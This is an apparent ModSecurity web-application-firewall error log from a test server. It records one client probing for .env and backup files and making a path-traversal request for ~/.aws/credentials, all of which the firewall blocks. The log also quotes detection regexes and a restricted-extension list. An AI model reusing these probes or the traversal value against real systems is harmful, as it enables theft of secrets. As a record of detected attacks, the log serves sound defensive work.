[Wed Feb 25 06:04:26.154529 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX5QAAAAc&quot;]
[Wed Feb 25 06:04:26.154740 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX5QAAAAc&quot;]
[Wed Feb 25 06:04:26.282048 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX6AAAAAc&quot;]
[Wed Feb 25 06:04:26.282328 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX6AAAAAc&quot;]
[Wed Feb 25 06:04:26.282546 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX6AAAAAc&quot;]
[Wed Feb 25 06:04:26.371728 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX6gAAAAc&quot;]
[Wed Feb 25 06:04:26.372023 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX6gAAAAc&quot;]
[Wed Feb 25 06:04:26.372233 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX6gAAAAc&quot;]
[Wed Feb 25 06:04:26.457752 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX6wAAAAc&quot;]
[Wed Feb 25 06:04:26.458036 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX6wAAAAc&quot;]
[Wed Feb 25 06:04:26.458226 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX6wAAAAc&quot;]
[Wed Feb 25 06:04:26.536078 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX7AAAAAc&quot;]
[Wed Feb 25 06:04:26.536383 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX7AAAAAc&quot;]
[Wed Feb 25 06:04:26.536620 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX7AAAAAc&quot;]
[Wed Feb 25 06:04:26.556462 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aZ6C2uTWwZsZM3_RktVCfgAAAAU&quot;]
[Wed Feb 25 06:04:26.557359 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aZ6C2uTWwZsZM3_RktVCfgAAAAU&quot;]
[Wed Feb 25 06:04:26.557586 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aZ6C2uTWwZsZM3_RktVCfgAAAAU&quot;]
[Wed Feb 25 06:04:26.588783 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX7QAAAAc&quot;]
[Wed Feb 25 06:04:26.589074 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX7QAAAAc&quot;]
[Wed Feb 25 06:04:26.589285 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX7QAAAAc&quot;]
[Wed Feb 25 06:04:26.885583 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX8QAAAAc&quot;]
[Wed Feb 25 06:04:26.886093 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX8QAAAAc&quot;]
[Wed Feb 25 06:04:26.886260 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX8QAAAAc&quot;]
[Wed Feb 25 06:04:26.993222 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX9AAAAAc&quot;]
[Wed Feb 25 06:04:26.993288 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX9AAAAAc&quot;]
[Wed Feb 25 06:04:26.993323 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX9AAAAAc&quot;]
[Wed Feb 25 06:04:26.993967 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX9AAAAAc&quot;]
[Wed Feb 25 06:04:26.994133 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX9AAAAAc&quot;]
[Wed Feb 25 06:04:27.026710 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /k8s/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX9QAAAAc&quot;]
[Wed Feb 25 06:04:27.027085 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX9QAAAAc&quot;]
[Wed Feb 25 06:04:27.027335 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aZ6C24v6AM5Bs3q_JQDX9QAAAAc&quot;]
